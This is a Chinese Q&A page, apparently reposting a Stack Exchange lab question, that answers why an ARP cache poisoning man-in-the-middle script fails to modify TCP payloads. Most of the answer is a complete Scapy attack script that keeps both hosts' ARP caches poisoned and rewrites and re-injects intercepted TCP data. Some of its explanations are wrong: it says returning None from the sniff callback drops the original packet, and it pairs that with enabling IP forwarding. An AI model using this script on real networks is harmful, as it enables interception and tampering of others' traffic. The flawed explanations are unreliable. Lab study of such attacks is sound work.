You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

ARP缓存投毒实验问题:数据包篡改后字符未变更求助

ARP缓存投毒实验中TCP载荷篡改失效的问题排查与修复

你的代码能捕获数据包但篡改不生效,核心是几个关键细节没处理到位,下面是问题分析和修复方案:

核心问题分析

  1. 原始数据包未拦截丢弃
    你只发送了篡改后的数据包,但原始未篡改的包仍会正常到达目标主机。TCP协议栈会优先处理先到的包,后续篡改的包会被判定为重复或序列号异常而丢弃,导致目标主机接收不到修改后的数据。

  2. TCP载荷赋值方式错误
    Scapy中不能直接把bytes数据赋值给new_tcp_pkt.payload,需要用Raw()类封装载荷数据,否则Scapy无法正确识别和处理TCP payload。

  3. ARP欺骗状态无法维持
    只发送一次ARP欺骗包,目标主机的ARP缓存会在超时后恢复正确映射,后续数据包就不会再被你的主机拦截,自然无法篡改。

  4. 数据包发送缺少链路层控制
    使用send()函数时Scapy会自动处理路由,但在ARP投毒场景下,应该明确指定链路层的源/目标MAC,确保数据包能正确到达目标主机,避免路由问题导致篡改包丢失。

修复后的完整代码

from scapy.all import *
import threading
import time

#!/usr/bin/python3

VM_A_IP = '10.9.0.5'
VM_B_IP = '10.9.0.6'
VM_A_MAC = '02:42:0a:09:00:05'
VM_B_MAC = '02:42:0a:09:00:06'
ATTACKER_MAC = '02:42:0a:09:00:69'
ATTACKER_IP = '10.9.0.69'  # 你的攻击机IP

def log_message(message):
    print("[*]", message)

def arp_spoof_loop():
    # 持续发送ARP回复,维持中毒状态
    while True:
        # 欺骗VM_A:我是VM_B
        pkt_to_A = Ether(dst=VM_A_MAC, src=ATTACKER_MAC) / ARP(
            op=2, hwsrc=ATTACKER_MAC, psrc=VM_B_IP,
            hwdst=VM_A_MAC, pdst=VM_A_IP
        )
        # 欺骗VM_B:我是VM_A
        pkt_to_B = Ether(dst=VM_B_MAC, src=ATTACKER_MAC) / ARP(
            op=2, hwsrc=ATTACKER_MAC, psrc=VM_A_IP,
            hwdst=VM_B_MAC, pdst=VM_B_IP
        )
        sendp(pkt_to_A, verbose=False)
        sendp(pkt_to_B, verbose=False)
        time.sleep(2)  # 每2秒发送一次,维持缓存

def spoof_pkt(pkt):
    if IP in pkt and TCP in pkt:
        # 处理VM_A发往VM_B的数据包
        if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP:
            if pkt[TCP].payload:
                real_data = pkt[TCP].payload.load
                modified_data = real_data.replace(b'B', b'A').replace(b'b', b'A')
                
                # 复制IP层并删除校验和,让Scapy自动重新计算
                new_ip = IP(pkt[IP].copy())
                del new_ip.chksum
                
                # 复制TCP层,删除校验和,用Raw封装修改后的载荷
                new_tcp = TCP(pkt[TCP].copy())
                del new_tcp.chksum
                new_tcp.payload = Raw(modified_data)
                
                # 封装链路层,指定目标MAC为VM_B
                new_pkt = Ether(dst=VM_B_MAC, src=ATTACKER_MAC) / new_ip / new_tcp
                
                sendp(new_pkt, verbose=False)
                print(f"Data changed from: {real_data} to: {modified_data}")
                
                # 丢弃原始数据包,阻止其到达目标
                return None
        
        # 处理VM_B发往VM_A的数据包,直接转发维持连接
        elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
            new_ip = IP(pkt[IP].copy())
            new_tcp = TCP(pkt[TCP].copy())
            new_pkt = Ether(dst=VM_A_MAC, src=ATTACKER_MAC) / new_ip / new_tcp
            sendp(new_pkt, verbose=False)
            # 同样丢弃原始包
            return None

if __name__ == "__main__":
    log_message("Starting ARP attack:")
    # 启动ARP欺骗线程,持续维持中毒状态
    spoof_thread = threading.Thread(target=arp_spoof_loop)
    spoof_thread.daemon = True
    spoof_thread.start()
    
    # 开启嗅探,指定iface并设置prn返回None丢弃原始包
    sniff(iface="eth0", filter="tcp", prn=spoof_pkt, store=0)

关键修改说明

  • 添加ARP欺骗循环线程:用后台线程持续发送ARP回复,每2秒一次,确保目标主机的ARP缓存始终被篡改。
  • 丢弃原始数据包:spoof_pkt函数最后返回None,配合sniff的store=0参数,让Scapy丢弃原始数据包,只发送篡改后的包。
  • 正确封装TCP载荷:使用Raw(modified_data)来封装修改后的字节数据,确保Scapy正确生成TCP payload。
  • 明确链路层封装:所有发送的数据包都用Ether层指定源/目标MAC,避免路由问题导致数据包无法到达。
  • 双向ARP欺骗:同时欺骗VM_A和VM_B,确保双向的数据包都经过攻击机,维持完整的TCP连接。

验证步骤

  1. 确保攻击机开启IP转发(Linux下执行echo 1 > /proc/sys/net/ipv4/ip_forward),否则VM_A和VM_B之间的通信会中断。
  2. 运行修改后的代码,在VM_A发送包含'B'或'b'的TCP数据,检查VM_B接收的数据是否被替换为'A'。
  3. 可以用tcpdump在攻击机和目标机上抓包,确认原始包被丢弃,篡改后的包正常发送。

内容的提问来源于stack exchange,提问作者KotatsuGhost

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.20 06:44:55